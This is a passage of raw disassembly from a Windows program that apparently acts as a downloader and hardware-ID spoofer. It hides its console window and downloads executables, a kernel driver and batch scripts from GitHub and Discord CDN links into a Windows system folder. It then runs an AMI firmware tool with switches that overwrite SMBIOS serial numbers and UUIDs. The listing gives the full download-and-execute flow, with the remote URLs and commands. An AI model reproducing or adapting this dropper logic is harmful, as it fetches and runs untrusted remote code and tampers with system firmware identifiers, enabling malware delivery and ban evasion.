setae byte [rsp + 0x60]
mov rax, qword [rbp + 0x248]
jb 0x14000558e
mov rdx, rax
mov rcx, rax
mov rbx, rax
jmp 0x140005598
mov rbx, rcx
lea rdx, [rbp + 0x248]
mov rdi, qword [rbp + 0x258]
add rdi, rdx
cmp rcx, rdi
je 0x1400055e1
mov qword [rsp + 0x40], 1
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011260
lea rdx, [0x140011820]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x40]
call fcn.140011840
inc rbx
cmp rbx, rdi
jne 0x1400055b0
lea rcx, str.color_b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.color_f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.color_b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.color_f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.color_b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.color_f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.color_b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x1f4
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov qword [rbp + 0x40], rax
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rbx, rax
mov qword [rbp - 0x78], rax
mov edx, 0xffffffec
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowLongA]
bts eax, 0x13
mov r8d, eax
mov edx, 0xffffffec
mov rcx, rbx
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov r9d, 2
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e8], xmm0
mov qword [rbp + 0x1f8], rsi
mov qword [rbp + 0x200], rsi
mov r8d, 0x46
lea rdx, str.https:__github.com_kakaoscsiga1245_asdd135sad_raw_main_AMIDEWINx64.EXE
lea rcx, [rbp + 0x1e8]
call fcn.140001ae0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x3c8], xmm0
mov qword [rbp + 0x3d8], rsi
mov qword [rbp + 0x3e0], rsi
mov r8d, 0x40
lea rdx, str.https:__github.com_kakaoscsiga1245_fjgn_raw_main_goblinontop.exe
lea rcx, [rbp + 0x3c8]
call fcn.140001ae0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c8], xmm0
mov qword [rbp + 0x1d8], rsi
mov qword [rbp + 0x1e0], rsi
mov r8d, 0x45
lea rdx, str.https:__github.com_kakaoscsiga1245_asdd135sad_raw_main_AMIFLDRV64.SYS
lea rcx, [rbp + 0x1c8]
call fcn.140001ae0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x168], xmm0
mov qword [rbp + 0x178], rsi
mov qword [rbp + 0x180], rsi
mov r8d, 0x5a
lea rdx, str.https:__cdn.discordapp.com_attachments_1057630036615766086_1149061050315067402_entries.bat
lea rcx, [rbp + 0x168]
call fcn.140001ae0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a8], xmm0
mov qword [rbp + 0x1b8], rsi
mov qword [rbp + 0x1c0], rsi
mov r8d, Ordinal_79
lea rdx, str.https:__github.com_kakaoscsiga1245_beuhrgbeuhgbeuhrgb_raw_main_Volumeid.exe
lea rcx, [rbp + 0x1a8]
call fcn.140001ae0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x228], xmm0
mov qword [rbp + 0x238], rsi
mov qword [rbp + 0x240], rsi
mov r8d, 0x49
lea rdx, str.https:__github.com_kakaoscsiga1245_beuhrgbeuhgbeuhrgb_raw_main_devcon.exe
lea rcx, [rbp + 0x228]
call fcn.140001ae0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x208], xmm0
mov qword [rbp + 0x218], rsi
mov qword [rbp + 0x220], rsi
mov r8d, Ordinal_79
lea rdx, str.https:__github.com_kakaoscsiga1245_beuhrgbeuhgbeuhrgb_raw_main_changer.exe
lea rcx, [rbp + 0x208]
call fcn.140001ae0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x3a8], xmm0
mov qword [rbp + 0x3b8], rsi
mov qword [rbp + 0x3c0], rsi
mov r8d, 0x63
lea rdx, str.https:__cdn.discordapp.com_attachments_1057630036615766086_1149039548886695967_Zenonite_Cleaner.bat
lea rcx, [rbp + 0x3a8]
call fcn.140001ae0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x388], xmm0
mov qword [rbp + 0x398], rsi
mov qword [rbp + 0x3a0], rsi
mov r8d, 0x5e
lea rdx, str.https:__cdn.discordapp.com_attachments_1057630036615766086_1148657397368356864_DiskMapper2.exe
lea rcx, [rbp + 0x388]
call fcn.140001ae0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x368], xmm0
mov qword [rbp + 0x378], rsi
mov qword [rbp + 0x380], rsi
mov r8d, 0x59
lea rdx, str.https:__cdn.discordapp.com_attachments_1057630036615766086_1148657397687144458_Disk12.sys
lea rcx, [rbp + 0x368]
call fcn.140001ae0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x188], xmm0
mov qword [rbp + 0x198], rsi
mov qword [rbp + 0x1a0], rsi
mov r8d, Ordinal_30
lea rdx, str.C:Windows_securitydatabase_
lea rcx, [rbp + 0x188]
call fcn.140001ae0
nop
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov rbx, qword [rbp + 0x198]
sub rax, rbx
cmp rax, 0xf
jb 0x140009144
lea r15, [rbp + 0x188]
cmp qword [rbp + 0x1a0], 0x10
setae r12b
mov byte [rsp + 0x30], r12b
mov r13, qword [rbp + 0x188]
cmovae r15, r13
xorps xmm0, xmm0
movups xmmword [rbp + 0x88], xmm0
mov qword [rbp + 0x98], rsi
mov qword [rbp + 0xa0], rsi
lea r14, [rbx + 0xf]
mov edi, reloc.WS2_32.dll_ntohs
lea rsi, [rbp + 0x88]
lea eax, [rdi + 7]
lea rdx, [rdi - 0x10]
cmp r14, rdi
jbe 0x140005a13
mov rdi, r14
or rdi, 0xf
cmp rdi, rcx
jbe 0x1400059b1
mov rdi, rcx
jmp 0x1400059b8
cmp rdi, rax
cmovb rdi, rax
mov rcx, rdi
add rcx, 1
cmovb rcx, rdx
cmp rcx, 0x1000
jb 0x1400059fb
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000914a
mov rcx, rax
call fcn.140074d50
test rax, rax
je 0x1400059f4
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140005a0c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140005a0a
call fcn.140074d50
mov rsi, rax
jmp 0x140005a0c
xor esi, esi
mov qword [rbp + 0x88], rsi
mov qword [rbp + 0x98], r14
mov qword [rbp + 0xa0], rdi
mov r8, rbx
mov rdx, r15
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str.AMIDEWINx64.EXE]
movsd qword [rsi + rbx], xmm0
mov eax, dword [0x1400876d8]
mov dword [rsi + rbx + 8], eax
movzx eax, word [0x1400876dc]
mov word [rsi + rbx + 0xc], ax
movzx eax, byte [0x1400876de]
mov byte [rsi + rbx + 0xe], al
mov byte [rsi + r14], 0
lea r15, [rbp + 0x188]
test r12b, r12b
cmovne r15, r13
xorps xmm0, xmm0
movups xmmword [rbp + 0x148], xmm0
xor eax, eax
mov qword [rbp + 0x158], rax
mov qword [rbp + 0x160], rax
mov edi, reloc.WS2_32.dll_ntohs
lea rsi, [rbp + 0x148]
cmp r14, rdi
jbe 0x140005b25
mov rdi, r14
or rdi, 0xf
movabs rcx, 0x7fffffffffffffff
cmp rdi, rcx
jbe 0x140005aba
mov rdi, rcx
jmp 0x140005ac7
cmp rdi, 0x16
mov ecx, reloc.WLDAP32.dll_Ordinal_22
cmovb rdi, rcx
mov rcx, rdi
add rcx, 1
mov rdx, 0xffffffffffffffff
cmovb rcx, rdx
cmp rcx, 0x1000
jb 0x140005b11
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140009150
mov rcx, rax
call fcn.140074d50
test rax, rax
je 0x140005b0a
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140005b1e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140005b1b
call fcn.140074d50
mov rsi, rax
mov qword [rbp + 0x148], rsi
mov qword [rbp + 0x158], r14
mov qword [rbp + 0x160], rdi
mov r8, rbx
mov rdx, r15
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str.goblinontop.exe]
movsd qword [rsi + rbx], xmm0
mov eax, dword [0x1400876e8]
mov dword [rsi + rbx + 8], eax
movzx eax, word [0x1400876ec]
mov word [rsi + rbx + 0xc], ax
movzx eax, byte [0x1400876ee]
mov byte [rsi + rbx + 0xe], al
mov byte [rsi + r14], 0
lea r15, [rbp + 0x188]
test r12b, r12b
cmovne r15, r13
xorps xmm0, xmm0
movups xmmword [rbp + 0x128], xmm0
xor eax, eax
mov qword [rbp + 0x138], rax
mov qword [rbp + 0x140], rax
lea r14, [rbx + 0xe]
mov edi, reloc.WS2_32.dll_ntohs
lea rsi, [rbp + 0x128]
cmp r14, rdi
jbe 0x140005c3b
mov rdi, r14
or rdi, 0xf
movabs rcx, 0x7fffffffffffffff
cmp rdi, rcx
jbe 0x140005bd0
mov rdi, rcx
jmp 0x140005bdd
cmp rdi, 0x16
mov ecx, reloc.WLDAP32.dll_Ordinal_22
cmovb rdi, rcx
mov rcx, rdi
add rcx, 1
mov rdx, 0xffffffffffffffff
cmovb rcx, rdx
cmp rcx, 0x1000
jb 0x140005c27
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140009156
mov rcx, rax
call fcn.140074d50
test rax, rax
je 0x140005c20
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140005c34
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140005c31
call fcn.140074d50
mov rsi, rax
mov qword [rbp + 0x128], rsi
mov qword [rbp + 0x138], r14
mov qword [rbp + 0x140], rdi
mov r8, rbx
mov rdx, r15
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str.AMIFLDRV64.SYS]
movsd qword [rsi + rbx], xmm0
mov eax, dword [0x1400876f8]
mov dword [rsi + rbx + 8], eax
movzx eax, word [0x1400876fc]
mov word [rsi + rbx + 0xc], ax
mov byte [rsi + r14], 0
lea r15, [rbp + 0x188]
test r12b, r12b
cmovne r15, r13
xorps xmm0, xmm0
movups xmmword [rbp + 0xa8], xmm0
xor eax, eax
mov qword [rbp + 0xb8], rax
mov qword [rbp + 0xc0], rax
lea r14, [rbx + 0xb]
mov edi, reloc.WS2_32.dll_ntohs
lea rsi, [rbp + 0xa8]
cmp r14, rdi
jbe 0x140005d46
mov rdi, r14
or rdi, 0xf
movabs rcx, 0x7fffffffffffffff
cmp rdi, rcx
jbe 0x140005cdb
mov rdi, rcx
jmp 0x140005ce8
cmp rdi, 0x16
mov ecx, reloc.WLDAP32.dll_Ordinal_22
cmovb rdi, rcx
mov rcx, rdi
add rcx, 1
mov rdx, 0xffffffffffffffff
cmovb rcx, rdx
cmp rcx, 0x1000
jb 0x140005d32
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000915c
mov rcx, rax
call fcn.140074d50
test rax, rax
je 0x140005d2b
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140005d3f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140005d3c
call fcn.140074d50
mov rsi, rax
mov qword [rbp + 0xa8], rsi
mov qword [rbp + 0xb8], r14
mov qword [rbp + 0xc0], rdi
mov r8, rbx
mov rdx, r15
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str.entries.bat]
movsd qword [rbx + rsi], xmm0
movzx eax, word [0x140087708]
mov word [rbx + rsi + 8], ax
movzx eax, byte [reloc.WS2_32.dll_WSACleanup]
mov byte [rbx + rsi + 0xa], al
mov byte [rsi + r14], 0
lea r12, [rbp + 0x188]
cmp byte [rsp + 0x30], 0
cmovne r12, r13
xorps xmm0, xmm0
movups xmmword [rbp + 0x108], xmm0
xor eax, eax
mov qword [rbp + 0x118], rax
mov qword [rbp + 0x120], rax
lea r15, [rbx + 0xc]
mov esi, reloc.WS2_32.dll_ntohs
lea rdi, [rbp + 0x108]
cmp r15, rsi
jbe 0x140005e54
mov rsi, r15
or rsi, 0xf
movabs rcx, 0x7fffffffffffffff
cmp rsi, rcx
jbe 0x140005de9
mov rsi, rcx
jmp 0x140005df6
cmp rsi, 0x16
mov ecx, reloc.WLDAP32.dll_Ordinal_22
cmovb rsi, rcx
mov rcx, rsi
add rcx, 1
mov rdx, 0xffffffffffffffff
cmovb rcx, rdx
cmp rcx, 0x1000
jb 0x140005e40
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140009162
mov rcx, rax
call fcn.140074d50
test rax, rax
je 0x140005e39
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140005e4d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140005e4a
call fcn.140074d50
mov rdi, rax
mov qword [rbp + 0x108], rdi
mov qword [rbp + 0x118], r15
mov qword [rbp + 0x120], rsi
mov r8, rbx
mov rdx, r12
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str.Volumeid.exe]
movsd qword [rbx + rdi], xmm0
mov eax, dword [0x140087718]
mov dword [rbx + rdi + 8], eax
mov byte [rdi + r15], 0
lea r12, [rbp + 0x188]
cmp byte [rsp + 0x30], 0
cmovne r12, r13
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
xor eax, eax
mov qword [rbp + 0xf8], rax
mov qword [rbp + 0x100], rax
lea r15, [rbx + 0xa]
mov esi, reloc.WS2_32.dll_ntohs
lea rdi, [rbp + 0xe8]
cmp r15, rsi
jbe 0x140005f55
mov rsi, r15
or rsi, 0xf
movabs rcx, 0x7fffffffffffffff
cmp rsi, rcx
jbe 0x140005eea
mov rsi, rcx
jmp 0x140005ef7
cmp rsi, 0x16
mov ecx, reloc.WLDAP32.dll_Ordinal_22
cmovb rsi, rcx
mov rcx, rsi
add rcx, 1
mov rdx, 0xffffffffffffffff
cmovb rcx, rdx
cmp rcx, 0x1000
jb 0x140005f41
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140009168
mov rcx, rax
call fcn.140074d50
test rax, rax
je 0x140005f3a
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140005f4e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140005f4b
call fcn.140074d50
mov rdi, rax
mov qword [rbp + 0xe8], rdi
mov qword [rbp + 0xf8], r15
mov qword [rbp + 0x100], rsi
mov r8, rbx
mov rdx, r12
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str.devcon.exe]
movsd qword [rbx + rdi], xmm0
movzx eax, word [0x140087728]
mov word [rbx + rdi + 8], ax
mov byte [rdi + r15], 0
lea r15, [rbp + 0x188]
movzx r12d, byte [rsp + 0x30]
test r12b, r12b
cmovne r15, r13
xorps xmm0, xmm0
movups xmmword [rbp + 0xc8], xmm0
xor eax, eax
mov qword [rbp + 0xd8], rax
mov qword [rbp + 0xe0], rax
mov edi, reloc.WS2_32.dll_ntohs
lea rsi, [rbp + 0xc8]
cmp r14, rdi
jbe 0x140006058
mov rdi, r14
or rdi, 0xf
movabs rcx, 0x7fffffffffffffff
cmp rdi, rcx
jbe 0x140005fed
mov rdi, rcx
jmp 0x140005ffa
cmp rdi, 0x16
mov ecx, reloc.WLDAP32.dll_Ordinal_22
cmovb rdi, rcx
mov rcx, rdi
add rcx, 1
mov rdx, 0xffffffffffffffff
cmovb rcx, rdx
cmp rcx, 0x1000
jb 0x140006044
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000916e
mov rcx, rax
call fcn.140074d50
test rax, rax
je 0x14000603d
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140006051
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14000604e
call fcn.140074d50
mov rsi, rax
mov qword [rbp + 0xc8], rsi
mov qword [rbp + 0xd8], r14
mov qword [rbp + 0xe0], rdi
mov r8, rbx
mov rdx, r15
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str.changer.exe]
movsd qword [rbx + rsi], xmm0
movzx eax, word [0x140087738]
mov word [rbx + rsi + 8], ax
movzx eax, byte [0x14008773a]
mov byte [rbx + rsi + 0xa], al
mov byte [rsi + r14], 0
lea r8, [rbp + 0x88]
cmp qword [rbp + 0xa0], 0x10
cmovae r8, qword [rbp + 0x88]
lea rdx, [rbp + 0x1e8]
cmp qword [rbp + 0x200], 0x10
cmovae rdx, qword [rbp + 0x1e8]
xor r14d, r14d
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
je 0x1400060ee
lea rdx, str.Failed_to_download_sgsgsgsdg.EXE.
jmp 0x1400062ba
lea r8, [rbp + 0x128]
cmp qword [rbp + 0x140], 0x10
cmovae r8, qword [rbp + 0x128]
lea rdx, [rbp + 0x1c8]
cmp qword [rbp + 0x1e0], 0x10
cmovae rdx, qword [rbp + 0x1c8]
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
je 0x14000613c
lea rdx, str.Failed_to_download_dhdfhdfhdh.SYS.
jmp 0x1400062ba
lea r8, [rbp + 0xa8]
cmp qword [rbp + 0xc0], 0x10
cmovae r8, qword [rbp + 0xa8]
lea rdx, [rbp + 0x168]
cmp qword [rbp + 0x180], 0x10
cmovae rdx, qword [rbp + 0x168]
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
je 0x14000618a
lea rdx, str.Failed_to_download_hdfh.bat.
jmp 0x1400062ba
lea r8, [rbp + 0xa8]
cmp qword [rbp + 0xc0], 0x10
cmovae r8, qword [rbp + 0xa8]
lea rdx, [rbp + 0x168]
cmp qword [rbp + 0x180], 0x10
cmovae rdx, qword [rbp + 0x168]
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
je 0x1400061d8
lea rdx, str.Failed_to_download_jztjtjztzj.bat.
jmp 0x1400062ba
lea r8, [rbp + 0x108]
cmp qword [rbp + 0x120], 0x10
cmovae r8, qword [rbp + 0x108]
lea rdx, [rbp + 0x1a8]
cmp qword [rbp + 0x1c0], 0x10
cmovae rdx, qword [rbp + 0x1a8]
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
je 0x140006226
lea rdx, str.Failed_to_download_hrthrthr.exe
jmp 0x1400062ba
lea r8, [rbp + 0xe8]
cmp qword [rbp + 0x100], 0x10
cmovae r8, qword [rbp + 0xe8]
lea rdx, [rbp + 0x228]
cmp qword [rbp + 0x240], 0x10
cmovae rdx, qword [rbp + 0x228]
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
je 0x140006271
lea rdx, str.Failed_to_download_jztjtjt.exe
jmp 0x1400062ba
lea r8, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 0x10
cmovae r8, qword [rbp + 0xc8]
lea rdx, [rbp + 0x208]
cmp qword [rbp + 0x220], 0x10
cmovae rdx, qword [rbp + 0x208]
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
je 0x1400062db
lea rdx, str.Failed_to_download_bvcbfh.exe
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
jmp 0x1400088c5
lea rcx, [rbp + 0x2a8]
call fcn.140004a60
nop
lea rcx, [rbp + 0x348]
call fcn.140004a60
nop
mov edx, reloc.WS2_32.dll_sendto
lea rcx, [rbp + 0x48]
call fcn.140004890
nop
lea r8, str.__su_auto
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0x68]
call fcn.1400119d0
nop
lea rcx, [rbp + 0x68]
call fcn.140010830
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, reloc.WS2_32.dll_listen
lea rcx, [rsp + 0x40]
call fcn.140004890
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.140010860
lea rcx, [rsp + 0x40]
call fcn.1400019a0
lea r8, str.__PSN
lea rdx, [rbp + 0x88]
lea rcx, [rsp + 0x68]
call fcn.1400119d0
nop
lea r8, [rbp + 0x48]
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140011b30
mov rdx, rax
lea rcx, [rbp + 0x68]
call fcn.140010860
lea rcx, [rsp + 0x40]
call fcn.1400019a0
nop
lea rcx, [rsp + 0x68]
call fcn.1400019a0
lea rcx, [rbp + 0x68]
call fcn.140010830
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, reloc.WS2_32.dll_listen
lea rcx, [rsp + 0x68]
call fcn.140004890
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.140010860
lea rcx, [rsp + 0x68]
call fcn.1400019a0
lea r8, str.__SS
lea rdx, [rbp + 0x88]
lea rcx, [rsp + 0x40]
call fcn.1400119d0
nop
lea r8, [rbp + 0x48]
mov rdx, rax
lea rcx, [rsp + 0x68]
call fcn.140011b30
mov rdx, rax
lea rcx, [rbp + 0x68]
call fcn.140010860
lea rcx, [rsp + 0x68]
call fcn.1400019a0
nop
lea rcx, [rsp + 0x40]
call fcn.1400019a0
lea rcx, [rbp + 0x68]
call fcn.140010830
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, reloc.WS2_32.dll_listen
lea rcx, [rsp + 0x68]
call fcn.140004890
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.140010860
lea rcx, [rsp + 0x68]
call fcn.1400019a0
lea r8, str.__SM
lea rdx, [rbp + 0x88]
lea rcx, [rsp + 0x40]
call fcn.1400119d0
nop
lea r8, [rbp + 0x48]
mov rdx, rax
lea rcx, [rsp + 0x68]
call fcn.140011b30
mov rdx, rax
lea rcx, [rbp + 0x68]
call fcn.140010860
lea rcx, [rsp + 0x68]
call fcn.1400019a0
nop
lea rcx, [rsp + 0x40]
call fcn.1400019a0
lea rcx, [rbp + 0x68]
call fcn.140010830
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x68]
call fcn.140004a60
mov rdx, rax
lea rcx, [rbp + 0x2a8]
call fcn.140010860
lea rcx, [rsp + 0x68]
call fcn.1400019a0
lea r8, str.__SU
lea rdx, [rbp + 0x88]
lea rcx, [rsp + 0x40]
call fcn.1400119d0
nop
lea r8, [rbp + 0x348]
mov rdx, rax
lea rcx, [rsp + 0x68]
call fcn.140011b30
mov rdx, rax
lea rcx, [rbp + 0x68]
call fcn.140010860
lea rcx, [rsp + 0x68]
call fcn.1400019a0
nop
lea rcx, [rsp + 0x40]
call fcn.1400019a0
lea rcx, [rbp + 0x68]
call fcn.140010830
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x68]
call fcn.140004a60
mov rdx, rax
lea rcx, [rbp + 0x2a8]
call fcn.140010860
lea rcx, [rsp + 0x68]
call fcn.1400019a0
lea r8, str.__SU_ID
lea rdx, [rbp + 0x88]
lea rcx, [rsp + 0x40]
call fcn.1400119d0
nop
lea r8, [rbp + 0x2a8]
mov rdx, rax
lea rcx, [rsp + 0x68]
call fcn.140011b30
mov rdx, rax
lea rcx, [rbp + 0x68]
call fcn.140010860
lea rcx, [rsp + 0x68]
call fcn.1400019a0
nop
lea rcx, [rsp + 0x40]
call fcn.1400019a0
lea rcx, [rbp + 0x68]
call fcn.140010830
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, reloc.WS2_32.dll_listen
lea rcx, [rsp + 0x68]
call fcn.140004890
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.140010860
lea rcx, [rsp + 0x68]
call fcn.1400019a0
lea r8, str.__SK
lea rdx, [rbp + 0x88]
lea rcx, [rsp + 0x40]
call fcn.1400119d0
nop
lea r8, [rbp + 0x48]
mov rdx, rax
lea rcx, [rsp + 0x68]
call fcn.140011b30
mov rdx, rax
lea rcx, [rbp + 0x68]
call fcn.140010860
lea rcx, [rsp + 0x68]
call fcn.1400019a0
nop
lea rcx, [rsp + 0x40]
call fcn.1400019a0
lea rcx, [rbp + 0x68]
call fcn.140010830
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, reloc.WS2_32.dll_listen
lea rcx, [rsp + 0x40]
call fcn.140004890
mov rbx, rax
lea rax, [rbp + 0x48]
cmp rax, rbx
je 0x1400066bc
mov rdx, qword [rbp + 0x60]
cmp rdx, 0x10
jb 0x14000668e
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006689
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400066f0
call fcn.140074d8c
mov qword [rbp + 0x58], r14
mov qword [rbp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x48], 0
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x48], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x58], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x1400066fc
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400066f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400066f7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov rsi, qword [rbp + 0x98]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, rsi
cmp rax, 5
jb 0x140009174
lea r15, [rbp + 0x88]
cmp qword [rbp + 0xa0], 0x10
cmovae r15, qword [rbp + 0x88]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r14
lea r14, [rsi + 5]
mov ebx, reloc.WS2_32.dll_ntohs
lea rdi, [rsp + 0x40]
cmp r14, rbx
